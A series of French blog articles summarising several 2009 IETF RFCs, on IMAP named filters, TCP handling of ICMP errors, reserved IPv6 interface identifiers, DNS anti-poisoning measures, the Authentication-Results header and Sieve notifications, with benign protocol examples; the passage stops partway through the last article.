Auteur(s) du RFC : A. Melinkov (Isode), C. King (Isode)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lemonade
Première rédaction de cet article le 25 février 2009
La déjà très longue série des RFC sur IMAP s'agrandit avec cette norme pour le nommage de filtres IMAP. On peut désormais stocker ses filtres sous un nom et les réutiliser plus tard.
Le protocole d'accès au courrier IMAP permet
de filtrer le courrier selon des filtres définis dans le RFC 3501. Ces filtres devaient être stockés côté client et
réenvoyés au serveur à chaque fois. Désormais, on peut leur donner un
nom, les stocker de manière permanente sur le serveur IMAP et les
utiliser dans des commandes IMAP comme SEARCH
(section 2 du RFC pour une introduction).
Un serveur IMAP qui connait cette nouvelle extension l'annonce en
réponse à la commande CAPABILITY
par le mot-clé
FILTERS
(l'ensemble des mots-clés possibles étant
dans le registre IANA). La commande SEARCH
d'IMAP peut alors prendre un critère FILTER
qui
indique le nom du filtre (section 3.1). Par exemple :
mytag1 SEARCH FILTER mon-filtre
Un filtre nommé peut lui-même être défini en termes d'autres filtres nommés.
Les filtres nommées étant un cas particulier des métadonnées
d'IMAP, créer et détruire les filtres nécessite un serveur IMAP qui
comprend les métadonnées (RFC 5464). On peut alors utiliser
les commandes comme SETMETADATA
dans
l'arborescence normalisée /private/filters/values
, par exemple :
mytag2 SETMETADATA "" "/private/filters/values/mon-filtre" "FROM \"moi@example.org\" "
Les noms des filtres étant restreints à
US-ASCII, l'arborescence
/private/filters/descriptions
est réservée pour
stocker des descriptions en UTF-8, donc plus
présentables pour l'utilisateur.
Je ne sais pas encore quels serveurs IMAP gèrent cette extension.
Date de publication du RFC : Février 2009
Auteur(s) du RFC : F. Gont (UTN/FRH)
Pour information
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 26 février 2009
Que doit faire une implémentation de TCP lorsqu'une erreur est signalée par le réseau, par exemple lorsqu'un paquet ICMP indique une route inaccessible ? La norme traditionnelle est peu respectée et ce RFC explique pourquoi et documente la réaction la plus courante des mises en œuvre de TCP.
Soit une machine qui a une connexion TCP (RFC 793) avec une autre (ou bien qui est en train de tenter d'établir cette connexion). Arrive un paquet ICMP (RFC 792) qui dit, par exemple Network unreachable. Que doit faire TCP ? Abandonner la connexion ? Ignorer le message ?
Les exigences pour les machines Internet, le RFC 1122, sont claires. Il existe deux sortes d'erreur ICMP, les « douces » (soft errors, qui sont en général temporaires, c'est le cas du type 3, Destination unreachable, pour ses codes 0, Network unreachable, 1, Host unreachable et 5 Source route failed) et les « dures » (hard errors, en général de longue durée, comme le type 3 pour le code 3, Port unreachable, dû en général à l'action délibérée d'un pare-feu). Le RFC 1122 dit que TCP ne doit pas interrompre une connexion pour une erreur douce. En effet, celles-ci étant souvent transitoires, une telle interruption immédiate empêcherait de tirer profit de la résilience de l'Internet, où le réseau se reconfigure pour contourner un problème (voir aussi la section 2.2).
Pourtant, la plupart des mises en œuvre de TCP ignorent cette règle, afin d'éviter une longue attente au cas où une machine ne soit pas joignable sur certaines adresses (cas courant, notamment avec IPv6). Notre RFC 5461, sans changer la norme officielle, documente le comportement non-officiel, explique ses raisons et indique ses limites.
D'abord, le cas couvert par ce nouveau RFC est uniquement celui de
l'établissement de la connexion (quand TCP est
dans l'état SYN_RECEIVED
ou
SYN_SENT
). Celui des connexions déjà établies
n'est pas traité.
Le RFC 816 séparait le traitement des pannes réseaux en deux : leur détection et leur réparation. ICMP est un outil de détection. Il permet de voir qu'il y a un problème. Mais quelle réparation utiliser ? (section 1 du RFC).
Le RFC 1122, section 4.3.2.9, dit que TCP ne doit pas couper la connexion pour les erreurs douces (et, par contre, y mettre fin en cas d'erreur dure). La section 2 de notre RFC revient sur cette règle en notant qu'elle n'est absolument pas respectée en pratique.
Pourquoi ? C'est l'objet de la section 3. En gros, si on suit le RFC 1122 au pied de la lettre, et qu'on essaie de se connecter à une machine qui a plusieurs adresses IP (ce qui est courant avec IPv6), l'algorithme typique de l'application est séquentiel : on essaie toutes les adresses l'une après l'autre. Si la réception d'une erreur ICMP n'entraine pas l'échec immédiat d'une tentative sur une adresse, il faudra attendre l'expiration du délai de garde (trois minutes, dit le RFC 1122 !) pour renoncer à cette adresse et essayer la suivante (section 3.1). Le cas fréquent d'une adresse IPv4 et d'une IPv6 sur la même machine est discuté en section 3.2.
Alors, que font les mises en œuvre actuelles de TCP ? La section 4 décrit deux stratégies courantes. Le RFC se sent obligé de rappeler que ces statégies sont, formellement, une violation de la norme mais changer celle-ci semble difficile, alors autant documenter les écarts...
La première stratégie (section 4.1), est de réagir différemment selon que l'erreur est reçue pendant la phase d'établissement de la connexion ou bien après. Le noyau Linux, depuis la version 2.0.0, renonce immédiatement à l'établissement d'une connexion TCP lorsqu'il reçoit le paquet ICMP pendant ledit établissement. L'application peut alors immédiatement passer à l'adresse suivante.
La seconde stratégie (section 4.2) est plus méfiante. Elle consiste à ne renoncer à l'établissement de la connexion qu'après N erreurs ICMP, avec N > 1 (il vaut exactement un dans la stratégie précédente). C'est la méthode utilisée par FreeBSD. (Par contre, je ne trouve pas comment régler N sur FreeBSD 7.0.)
Évidemment, violer la norme n'est pas innocent. La section 5 détaille donc les conséquences qui attendent le violeur. Par exemple, 5.1 explique qu'un problème temporaire qui affecte toutes les adresses de destination risque d'empêcher complètement la création d'une nouvelle connexion, alors qu'un TCP conforme à la norme aurait patienté et serait finalement passé. Il y a ici clairement un compromis entre l'attente, dans l'espoir de finalement réussir (parfait pour les connexions non-interactives comme un transfert de fichier nocturne avec rsync lancé par cron) et l'abandon rapide (sans doute préférable pour les applications interactives, où il ne faut pas bloquer l'utilisateur humain).
Date de publication du RFC : Février 2009
Auteur(s) du RFC : S. Krishnan (Ericsson)
Chemin des normes
Première rédaction de cet article le 11 février 2009
Une machine IPv6 doit évidemment avoir une adresse IP unique mais il existe une autre contrainte, c'est que les 64 bits de plus faible poids de cette adresses, l'interface identifier (RFC 4291, section 2.5.1), doivent être uniques sur le lien auquel la machine est attachée. Or, certains interface identifier sont réservés et ne doivent pas être utilisés. Lorsque l'interface identifier est attribuée manuellement par l'administrateur système, pas de problème. Mais s'il est attribué par autoconfiguration (RFC 4862) ? Ou par des une des autres méthodes citées dans l'annexe A du RFC ? Dans ce cas, le logiciel doit prendre garde à ne pas utiliser ces identificateurs notre RFC que réserve.
C'étaient plusieurs RFC qui réservaient ces identificateurs et ils n'avaient pas encore été rassemblés en un seul endroit, ce qui est désormais fait. Les identificateurs réservés seront dans le futur placés dans le registre IANA.
Notre RFC 5453 est assez court : la section 2 fait
quelques rappels sur les interface identifiers, la
section 3 explique toutes les horribles choses qui arriveront s'ils ne
sont pas uniques (par exemple, une machine qui a pris
l'interface identifier
FDFF:FFFF:FFFF:FFFE
va « capturer » tout le
trafic normalement envoyé au Home agent des
machines mobiles, décrit dans le RFC 2526).
Et la section 4 donne le contenu initial du registre, la liste des interface
identifiers réservés, qui comprend
0000:0000:0000:0000
et la plage qui va de
FDFF:FFFFFFFF:FF80
à FDFF:FFFF:FFFF:FFFF
.
Date de publication du RFC : Janvier 2009
Auteur(s) du RFC : A. Hubert (Netherlabs Computer Consulting), R. van Mook (Equinix)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 29 janvier 2009
Le système de résolution de noms DNS est indispensable à la grande majorité des sessions sur l'Internet et pourtant il est très peu fiable. « Empoisonner » un résolveur DNS, lui faire avaler de fausses informations, est relativement facile, et ce problème est connu depuis longtemps (et documenté dans le RFC 3833, notamment les sections 2.2 et 2.3). Il existe une solution à long terme, DNSSEC, mais il n'est pas évident qu'elle puisse un jour être déployée suffisamment pour fournir une réelle protection. Alors, que faire en attendant ? Ce RFC documente les mesures que devrait prendre un résolveur pour ne pas se faire empoisonner.
Le résolveur DNS est le logiciel qui se charge
de poser les questions, pour le compte des applications
(client, pour ce RFC). Il en existe
plusieurs possibles (en ne comptant que le logiciel libre et que les logiciels sérieux : BIND,
Unbound et
PowerDNS
Recursor). Il utilise typiquement
UDP pour poser la question aux serveurs DNS
faisant autorité. UDP ne reposant pas sur une connexion, un attaquant
qui essaie d'empoisonner le résolveur peut, juste après que la
question aie été posée, envoyer une réponse fabriquée de toute pièce
et, dans certains cas, la faire accepter. Bien que le DNS aie été
amélioré au cours du temps (voir notamment le RFC 2181), il
reste trop fragile. Pire, comme la plupart des résolveurs sont
également des caches, une fausse réponse, une
fois acceptée, sera resservie à chaque requête d'un client. Heureusement, le résolveur
peut rendre cet empoisonnement bien plus difficile, en utilisant
quelques techniques décrites par notre RFC. Celui-ci ne concerne que
les résolveurs, les serveurs faisant autorité (par exemple ceux de
l'AFNIC pour
.fr
) ne sont pas
concernés. Les résolveurs sont typiquement gérés par le
FAI ou les administrateurs du réseau local de l'organisation.
La publication de la faille Kaminsky en août 2008 a mis sous le feu des projecteurs cette vulnérabilité des résolveurs DNS. Mais elle était connue depuis des années, et le travail sur ce RFC avait commencé à l'IETF bien avant que la faille Kaminsky soit découverte. La première version officiellement adoptée par l'IETF date en effet de janvier 2007 et la première version tout court remonte à août 2006. Hélas, bien que plus agile que la plupart des autres organismes de normalisation, l'IETF est parfois un mammouth difficile à faire bouger. Pour diverses raisons, comme le fait que les auteurs du futur RFC (parmi lesquels Bert Hubert, le père de PowerDNS) étaient des nouveaux venus, le processus a pris plus longtemps qu'il n'aurait dû.
Oublions les retards. Que contient ce RFC ? La section 2 rappele le problème et la cible visée, les programmeurs qui écrivent les résolveurs et, dans une moindre mesure, les administrateurs de ceux-ci.
La section 3 décrit le mécanisme d'empoisonnement. L'idée, présente dans la section 5.3.3 du RFC 1034 est que, ne pouvant compter sur la protection qu'apportent les connexions TCP, les résolveurs DNS doivent se méfier des réponses UDP et vérifier que la réponse corresponde à une question actuellement en cours. Cela implique :
0x20
, expliqué plus
loin, pousse encore plus loin cette idée.Comme prévu par ce RFC (et d'autres documents antérieurs comme le RFC 3833) et comme l'a montré la faille Kaminsky, en 2008, il était trop facile, avec la plupart des résolveurs, de prévoir les informations à fournir, seul le Query ID était imprévisible et devait être essayé par force brute. Mais il n'a que 65536 valeurs possibles.
La section 4 détaille cette attaque. En effet, il existe une
certaine différence entre la théorie et la pratique, et cette
différence avait protégé le DNS jusqu'à présent. D'abord (section
4.1), il faut que le résolveur fasse une requête pour qu'on puisse
tenter de fournir une fausse réponse. Si le résolveur est ouvert (ce
qui est très dangereux, voir RFC 5358), c'est
trivial. S'il ne l'est pas, l'attaque est restreinte aux clients
légitimes du résolveur (c'est le cas de l'attaque Kaminsky mais ce
n'est pas une grosse limitation car beaucoup d'attaquants ont déjà un
zombie à leur service sur le réseau attaqué) ou à ceux
qui attendent une requête spontanée. (On peut aussi indirectement
provoquer une requête par exemple en envoyant un message dont la
lecture déclenchera la requête DNS.) Il existe des méthodes pour
prévoir le moment où se déclenchera la prochaine requête. Par exemple,
certains résolveurs, sans permettre l'accès au service complet,
permettent l'accès au cache (avec BIND, l'option
allow-recursion <MYNETWORKS>
ne suffit donc
pas à protéger le résolveur, il faut aussi un
allow-query-cache <MYNETWORKS>
). Dans ce
cas, l'attaquant peut voir le TTL et prévoir
lorsqu'il atteindra zéro, menant à une requête.
Une section est ensuite consacrée à chaque élément de la réponse, que l'attaquant doit connaître ou deviner (RFC 1035, section 7.3). La section 4.3 détaille la protection qu'offre le Query ID, un nonce de seulement 16 bits (et encore plus faible dans certaines implémentations comme le résolveur de Microsoft qui, pendant longtemps, n'utilisait que 14 bits). Si l'attaquant peut générer plusieurs requêtes simultanées (ce que permet l'attaque Kaminsky), le paradoxe de l'anniversaire lui offre de grandes chances de tomber juste. PLus loin, la section 5 détaille ce paradoxe de l'anniversaire. Il doit son nom à une observation simple. Dans un groupe de personnes (par exemple des étudiants dans un amphi), quelle doit être la taille du groupe pour avoir au moins 50 % de chances que deux aient la même date d'anniversaire ? La plupart des gens pensent au premier abord que ce nombre est de l'ordre de 180 (les 365 jours de l'année divisés par 2 puisqu'on veut une chance sur deux) alors qu'il est bien plus bas, environ 23. Appliqué au DNS, ce paradoxe veut dire que, certes, trouver un Query ID particulier est difficile mais que trouver un Query ID identique à un autre, à n'importe quel autre, est beaucoup plus facile.
La section 4.4 rappelle que l'adresse IP source de la réponse doit correspondre à celle à qui a été envoyée la question et que le succès de l'attaque dépend donc de la possibilité, pour l'attaquant, de tricher sur son adresse IP. En dépit des RFC 2827 et RFC 3704, la plupart des opérateurs permettent en effet à leurs clients d'indiquer n'importe quelle adresse IP source.
La section 4.5 étudie le rôle du port source de la requête, port où doit être renvoyé la réponse. La principale originalité de ce RFC est en effet de recommander l'utilisation des 16 bits du numéro de port comme source additionnelle d'entropie, en renfort des sources existantes comme le Query ID.
Enfin, la section 4.6 rappelle que l'attaquant n'a qu'un temps limité devant lui. Il doit répondre avant le vrai serveur soit, typiquement, en moins de 50 à 100 ms. Toutefois, l'attaquant peut améliorer ses chances en ralentissant le vrai serveur, par exemple par une attaque DoS.
Une dernière ligne de protection du résolveur (section 6) est de
n'accepter que des réponses « dans la
bailliage », c'est-à-dire des réponses dans le
domaine de la question posée. Si un résolveur interroge les serveurs
de demaziere.fr
sur l'adresse IP de
www.demaziere.fr
, les réponses, notamment dans la
section additionelle, devraient être ignorées si elles portent sur
d'autres domaines. L'absence de ce test permettait l'attaque dite
Kashpureff et cette vérification du bailliage
est recommandée depuis le RFC 2181.
D'accord, il existe une vulnérabilité. Mais, en pratique, quel est le risque réel ? Peut-on le quantifier ? C'est l'objet des sections 7 et 8, qui vont faire un peu de mathématiques pour estimer la difficulté réelle d'empoisonnement d'un résolveur. Par exemple, si le port source est constant (ce qui était fréquent au début de la rédaction du RFC), il fallait injecter de fausses réponses au rythme de 416 Mb/s pour avoir une chance sur deux de gagner. Si le serveur réel était ralenti ou stoppé par une attaque, on pouvait se contenter de nettement moins, soit 42 Mb/s. Les calculs détaillés figurent en section 7.1 et 7.2. La conclusion est que, avec un port source fixe, l'empoisonnement est assez accessible. Avec un port variable, il faut un débit de 285 Gb/s ce qui explique que les résolveurs d'aujourd'hui sont encore protégés pour quelque temps. Augmenter le TTL favorise le défenseur, sauf si les requêtes sont pour des domaines inexistants, ce qui est le cas de l'attaque Kaminsky (discutée plus en détail en section 8.1).
Après ces calculs inquiétants, quelles sont les contre-mesures possibles, exposées en section 9 ? D'abord, le résolveur doit déjà utiliser la totalité des mesures recommandées par les RFC 1035 et RFC 2181, ce qui n'est pas encore le cas pour tous aujourd'hui. Ensuite, la plus importante contre-mesure nouvelle est l'aléatoirisation du port source (SPR pour Source Port Randomization), c'est-à-dire le fait d'utiliser peu ou prou les 65536 valeurs théoriquement possibles comme source des requêtes (section 9.2, qui recommande aussi de faire varier l'adresse IP si possible, ce qui n'est guère réaliste qu'avec IPv6). C'est cette technique qui est mise en œuvre dans BIND depuis 2008 et un peu avant dans Unbound et PowerDNS. En pratique, ces résolveurs, suivant la recommandation du RFC, utilisent les ports de 1024 à 65536.
À noter (section 10) que cette aléatoirisation du port source (voire de l'adresse) peut entrainer des problèmes avec certains routeurs NAT dont la table des flux en cours va vite déborder.
À noter aussi que la tâche de compliquer l'empoisonnement ne se termine
pas avec ce RFC. Par exemple, l'IETF travaille sur un truc nommé
0x20
(voire la section 4.2 de notre RFC) qui
consiste à faire varier la casse du nom de
domaine dans la question pour ajouter un peu d'entropie supplémentaire.
Une autre raison importante des délais qu'a subi ce RFC est la controverse autour de DNSSEC (RFC 4033). Le raisonnement des « ultras » de DNSSEC est le suivant : comme les mesures anti-empoisonnement de notre RFC 5452 ne font que le rendre plus difficile, sans l'empêcher totalement, pourquoi perdre du temps à retarder l'attaquant lorsqu'on peut le stopper complètement avec DNSSEC ? En outre, DNSSEC protège contre d'autres attaques comme une trahison par un serveur secondaire faisant autorité. Bref, selon ce courant, très fortement représenté à l'IETF, travailler sur la résistance à l'empoisonnement est une perte de temps, voire une diversion par rapport aux seules tâches qui comptent, le déploiement de DNSSEC. Le RFC a donc eu du mal à passer face à une telle opposition (voir par exemple le compte-rendu de la réunion de Minneapolis en 2008). C'est ce qui explique le « lip service » qu'on trouve au début du RFC, avec l'affirmation que notre RFC ne décrit que des mesures temporaires, en attendant la « vraie » solution, DNSSEC. En réalité, le déploiement de DNSSEC, chez tous les acteurs (serveurs faisant autorité et distribuant des zones signées, résolveurs validant et/ou applications testant DNSSEC) va prendre de nombreuses années et ne sera peut-être jamais suffisamment effectif pour gêner réellement les empoisonneurs. Des mesures rendant leur tâche plus difficile sont donc essentielles.
Date de publication du RFC : Avril 2009
Auteur(s) du RFC : M. Kucherawy (Sendmail)
Chemin des normes
Première rédaction de cet article le 17 avril 2009
Il existe désormais plusieurs techniques pour authentifier les courriers
électroniques. Certaines peuvent nécessiter des calculs un
peu compliqués et on voudrait souvent les centraliser sur une machine
de puissance raisonnable, dotée de tous les logiciels
nécessaires. Dans cette hypothèse, le MUA ne
recevra qu'une synthèse (« Ce message vient bien de
example.com
») et pourra alors prendre une
décision, basée sur cette synthèse. C'est le but du nouvel en-tête
Authentication-Results:
que normalisait notre
RFC (depuis remplacé par le RFC 7001).
Avec des techniques d'authentification comme
DKIM (RFC 6376) ou
SPF (RFC 7208), les
calculs à faire pour déterminer si un message est authentique peuvent
être complexes (DKIM utilise la cryptographie) et nécessiter la
présence de bibliothèques non-standard. Les installer et
les maintenir à jour sur chaque machine, surtout en présence
d'éventuelles failles de sécurité qu'il faudra boucher en urgence,
peut être trop pénible pour l'administrateur système. L'idée de ce RFC
est donc de séparer l'opération en deux :
l'authentification est faite sur un serveur,
typiquement le premier MTA du site (cf. annexe
D pour une discussion de ce choix), celui-ci
ajoute au message un en-tête indiquant le résultat de ladite
authentification et le MUA (ou bien le MDA,
voir la section 1.5.3 pour un bon rappel sur ces concepts) peut ensuite, par exemple par un langage de
filtrage comme procmail ou
Sieve, agir sur la base de ce résultat. Cet
en-tête marche pour tous les protocoles d'authentification et surpasse
donc les en-têtes spécifiques comme le
Received-SPF:
de SPF (section
1 du RFC et notamment section 1.4 pour le filtrage, qui n'est
pas obligatoire).
J'ai utilisé le terme de « site » pour désigner un ensemble de
machines gérées par la même organisation mais le RFC a un terme plus
rigoureux, ADMD (ADministrative Management
Domain). La frontière d'un ADMD est la « frontière de confiance » (trust boundary),
définie en section 1.2. Un domaine administratif de gestion est un
groupe de machines entre lesquelles il existe une relation de
confiance, notamment du fait que, à l'intérieur de l'ADMD, l'en-tête
Authentication-Results:
ne sera pas modifié ou
ajouté à tort (section 1.6 : l'en-tête n'est pas protégé, notamment il
n'est pas signé). Un ADMD inclus typiquement une organisation (ou un
département de celle-ci) et d'éventuels sous-traitants. Il a un nom,
l'authserv-id
, défini en section 2.2.
L'en-tête Authentication-Results:
lui-même est formellement défini en section 2. Il
appartient à la catégorie des en-têtes de « trace » (RFC 5322, section 3.6.7 et RFC 5321, section 4.4) comme
Received:
qui doivent être ajoutés en haut des
en-têtes et jamais modifiés. La syntaxe de Authentication-Results:
est en section
2.2. L'en-tête est composé du authserv-id
, le nom
de l'ADMD et d'une série de doublets (méthode, résultat), chacun
indiquant une méthode d'authentification et le résultat obtenu. Par
exemple (tiré de l'annexe C.3), une authentification SPF réussie, au
sein de l'ADMD example.com
, donnera :
Authentication-Results: example.com; spf=pass smtp.mailfrom=example.net Received: from dialup-1-2-3-4.example.net (dialup-1-2-3-4.example.net [192.0.2.200]) by mail-router.example.com (8.11.6/8.11.6) with ESMTP id g1G0r1kA003489; Wed, Mar 14 2009 17:19:07 -0800 From: sender@example.net Date: Wed, Mar 14 2009 16:54:30 -0800 To: receiver@example.com
La liste complète des méthodes figure dans un registre IANA (section 6).
La section 2.3 détaille l'authserv-id
. C'est
un texte qui identifie le domaine, l'ADMD. Il doit donc être unique
dans tout l'Internet. En général, c'est un
nom de domaine comme
laposte.net
. (Il est possible d'être plus
spécifique et d'indiquer le nom d'une machine particulière mais cette
même section du RFC explique pourquoi c'est en général une mauvaise
idée : comme les MUA du domaine n'agissent que sur les Authentication-Results:
dont ils
reconnaissent l'authserv-id
, avoir un tel
identificateur qui soit lié au nom d'une machine, et qui change donc
trop souvent, complique l'administration système.)
La section 2.4 explique les résultats possibles pour les méthodes
d'authentification (en rappelant que la liste à jour des méthodes et
des résultats est dans le registre IANA). Ainsi, DKIM (section 2.4.1)
permet des résultats comme pass
(authentification
réussie) ou temperror
(erreur temporaire au cours
de l'authentification, par exemple liée au DNS). Des résultats similaires sont possibles
pour SPF (section 2.4.3).
Notons la normalisation d'une méthode traditionnelle
d'authentification faible, le test DNS du chemin « adresse IP du
serveur -> nom » et retour. Baptisée iprev
, cette
méthode, bien que bâtie sur la pure superstition (cf. section 7.11) est utilisée
couramment. Très injuste (car l'arbre des résolutions inverses du DNS,
in-addr.arpa
et ip6.arpa
,
n'est pas sous le contrôle du domaine qui envoie le courrier), cette
méthode discrimine les petits FAI, ce qui est sans doute un avantage
pour les gros, comme AOL qui
l'utilisent. Attention aux implémenteurs : aussi bien la résolution
inverse d'adresse IP en nom que la résolution droite de nom en adresse
IP peuvent renvoyer plusieurs résultats et il faut donc comparer des
ensembles. (Cette méthode qui, contrairement aux autres, n'avait
jamais été exposée dans un RFC, est décrite en détail dans la section
3, avec ses sérieuses limites.)
Dernière méthode mentionnée, auth
(section
2.4.5) qui repose sur l'authentification SMTP
du RFC 4954. Si un MTA (ou plutôt MSA) a
authentifié un utilisateur, il peut le noter ici.
Une fois le code d'authentification exécuté, où mettre le Authentication-Results:
?
La section 4 fournit tous les détails, indiquant notamment que le MTA
doit placer l'en-tête en haut du message, ce qui facilite le repérage
des Authentication-Results:
à qui on peut faire confiance (en examinant les en-têtes
Received:
; en l'absence de signature, un Authentication-Results:
très ancien, situé au début du trajet, donc en bas des en-têtes, ne
signifie pas grand'chose). On se fie a priori aux en-têtes mis par les
MTA de l'ADMD, du domaine de confiance. L'ordre est donc
important. (La section 7 revient en détail sur les en-têtes Authentication-Results:
usurpés.)
Ce n'est pas tout de mettre un Authentication-Results:
, encore faut-il l'utiliser. La
section 4.1 s'attaque à ce problème. Principe essentiel pour le MUA :
ne pas agir sur la base d'un Authentication-Results:
, même si ce n'est que pour
l'afficher, sans l'avoir validé un minimum. Comme le Authentication-Results:
n'est pas
signé, n'importe qui a pu en insérer un sur le trajet. Le RFC précise
donc que les MUA doivent, par défaut, ne rien faire. Et qu'ils doivent ne
regarder les Authentication-Results:
qu'après que cela aie été activé par
l'administrateur de la machine, qui indiquera quel
authserv-id
est acceptable.
Naturellement, le MTA d'entrée du domaine devrait supprimer les
Authentication-Results:
portant son propre authserv-id
qu'il trouve
dans les messages entrants : ils sont forcément frauduleux (section
5). (Le RFC accepte aussi une solution plus simpliste, qui est de
supprimer tous les Authentication-Results:
des messages entrants, quel que soit leur
authserv-id
.)
Arrivé à ce stade de cet article, le lecteur doit normalement se
poser bien des questions sur la valeur du Authentication-Results:
. Quel poids lui
accorder alors que n'importe quel méchant sur le trajet a pu ajouter
des Authentication-Results:
bidons ? La section 7, consacrée à l'analyse générale de la
sécurité, répond à ces inquiétudes. 7.1 détaille le cas des en-têtes
usurpés. Les principales lignes de défense ici sont le fait que le MUA
ne doit faire confiance aux Authentication-Results:
que s'ils portent le
authserv-id
de son ADMD et
le fait que le MTA entrant doit filtrer les Authentication-Results:
avec son
authserv-id
. Comme l'intérieur de l'ADMD, par
définition, est sûr, cela garantit en théorie contre les Authentication-Results:
usurpés. Le RFC liste néanmoins d'autres méthodes possibles comme le
fait de ne faire confiance qu'au premier Authentication-Results:
(le plus récent), si on sait que le MTA en ajoute systématiquement un
(les éventuels Authentication-Results:
usurpés apparaîtront après ; mais certains
serveurs les réordonnent, cf. section 7.3).
Comme toujours en sécurité, il faut bien faire la différence entre
authentification et
autorisation. Un spammeur a
pu insérer un Authentication-Results:
légitime pour son
authserv-id
. Même authentifié, il ne doit pas
être considéré comme une autorisation (section 7.2).
Plusieurs mises en œuvre de ce système existent déjà comme dans Mdaemon, sendmail, etc. De même, Gmail met désormais systématiquement cet en-tête, par exemple :
Authentication-Results: mx.google.com; spf=pass \ (google.com: domain of stephane@sources.org designates 217.70.190.232 \ as permitted sender) smtp.mail=stephane@sources.org
Comme indiqué plus haut, le RFC désormais officiel pour cet en-tête est, depuis septembre 2013, le RFC 7001. Il ne contient que peu de changements.
Date de publication du RFC : Janvier 2009
Auteur(s) du RFC : P. Saint-Andre (XMPP Standards
Foundation), A. Melnikov (Isode)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 1 février 2009
Le langage de description de filtres de courrier Sieve dispose d'une possibilité de notification. Avec ce RFC la notification peut utiliser le protocole XMPP, ce qui intéressera surtout les utilisateurs de la messagerie instantanée.
XMPP (également connu sous son ancien nom de Jabber) est un protocole qui sert notamment à la messagerie instantanée. Le langage Sieve (RFC 5228) dispose d'une extension de notification (RFC 5435) qui permet de signaler, par exemple, l'arrivée d'un message important. Notre RFC relie ces deux services en permettant l'envoi de notifications Sieve en XMPP.
Voici un exemple (section 3.3) d'une action dans un script Sieve, qui notifie via XMPP :
notify :importance "1" :message "Contact Juliet immediately!" "xmpp:romeo@im.example.com"
Qu'y trouve t'on ? Le paramètre :importance
(section 2.4 du RFC, la valeur 1 indiquant un message urgent), le paramètre :message
(section 2.5) et l'URI du destinataire XMPP,
URI conforme au RFC 5122.
La stanza XMPP émise aura à peu près cet aspect :
<message from='notify.example.com' to='romeo@im.example.com' type='headline' xml:lang='en'> <body>Contact Juliet immediately!</body> <headers xmlns='http://jabber.org/protocol/shim'> <header name='Urgency'>high</header> </headers> <x xmlns='jabber:x:oob'> <url> imap://romeo@example.com/INBOX;UIDVALIDITY=385759045/;UID=20 </url> </x> </message>
Date de publication du RFC : Janvier 2009
Auteur(s) du RFC : B. Leiba, M. Haardt
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 1 février 2009
Le système de notification du langage de filtrage de courrier Sieve est normalisé dans le RFC 5435. Il se décline en plusieurs mécanismes, pour envoyer des SMS, des coups de téléphone, ou bien même, avec notre RFC 5436, du courrier.
Pourquoi envoyer un message lorsqu'on vient d'en recevoir un ? L'idée est typiquement de filtrer son courrier avec la puissance des règles de Sieve (RFC 5228) et de notifier une autre adresse dans certains cas. Cette autre adresses est probablement lue plus souvent, par exemple parce qu'elle est transmise à un Blackberry ou un gadget analogue.
Évidemment, une des inquiétudes que peut générer un tel mécanisme est la création de boucles, le message de notification déclenchant lui-même une notification et ainsi de suite. Aussi, à de nombreux endroits dans le RFC, se trouvent des règles pour minimiser cet effet (et une discussion complète se trouve dans la section 5). Les discussions à l'IESG sur le risque de « bombardement » entraînés par ce mécanisme de notification ont d'ailleurs considérablement retardé la sortie de ce RFC.
Sinon, le principe est simple : le script Sieve peut envoyer un
courrier si le paramètre method de l'action
notify
est un URI de plan
mailto:
(RFC 6068). D'autres options
sont possibles, détaillées dans la section 2. Voici un exemple (un
autre se trouve dans la section 3) :
if allof (header :contains "from" "chef@example.com", header :contains "subject" "URGENT") { notify :importance "1" :message "This is probably very important <http://www.paulgraham.com/boss.html>" "mailto:poor-employee@example.com"; }
L'importante section 2.7 revient sur la génération du message de
notification, notamment les précautions à prendre pour éviter les
boucles, par
exemple, l'ajout de l'en-tête Auto-submitted:
,
suivant les recommandations de la section 5 du RFC 3834, avec une
valeur de auto-notified
, section 2.7.1. Cet ajout
est obligatoire. Notre RFC étend même le RFC 3834 en définissant formellement (section 6) le registre IANA des
mots-clés de Auto-submitted:
.
Date de publication du RFC : Janvier 2009
Auteur(s) du RFC : A. Melnikov (Isode Limited), B. Leiba, W. Segmuller (IBM T.J. Watson Research Center), T. Martin (BeThereBeSquare)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 1 février 2009
Le langage de filtrage du courrier Sieve se voit désormais doté d'une nouvelle fonction, la possibilité de prévenir lors de l'arrivée de certains messages. Cette notification pourra se faire via plusieurs protocoles, spécifiés dans d'autres RFC.
Certains utilisateurs du courrier veulent être prévenus tout de suite lorsqu'un message a certaines caractéristiques (par exemple un message du chef comportant « URGENT » dans le sujet). Cette demande va même parfois au delà du raisonnable, lorsqu'ils rejettent, par exemple, des méthodes anti-spam très efficaces comme le greylisting (RFC 6647) parce qu'ils ne supportent pas l'idée que leur courrier soit retardé de quelques minutes. La méthode classique pour être prévenu est de type pull : interroger le serveur de messagerie regulièrement, ce qui le fait travailler, la plupart du temps pour rien. Notre RFC 5435 propose donc une méthode de type push où l'utilisateur est notifié lorsqu'un message obéit à certaines caractéristiques.
Voyons tout de suite un exemple :
if allof (header :contains "from" "chef@example.com", header :contains "subject" "URGENT") { notify :importance "1" :message "This is probably very important" "tel:123456"; }
Cette règle appelera le numéro de téléphone 123456 dès qu'un message du chef comportant le mot-clé arrivera.
D'autres RFC décriront les mécanismes de notification. Le RFC 5436 décrit mailto:
(envoi de la
notification par courrier), le seul mécanisme obligatoire. Le RFC 5437 décrit, lui, la notification par le protocole de
messagerie instantanée
XMPP. La section 3.8 détaille les limites que
doivent suivre ces mécanismes (par exemple sur la taille des messages
de notification). La liste complète des mécanismes figure dans le registre IANA.
Le RFC est court, le gros de la définition se trouvant dans la
section 3, qui précise la syntaxe de la nouvelle action
notify
, syntaxe illustrée dans l'exemple
ci-dessus. Les options les plus importantes sont :
xmpp:bortzmeyer@gmail.com
ou bien
mailto:stephane+alert@bortzmeyer.org
, le support
de cette dernière méthode étant obligatoire).:from
),:message
.Voici un exemple plus élaboré que le précédent, utilisant les variables Sieve du RFC 5229 :
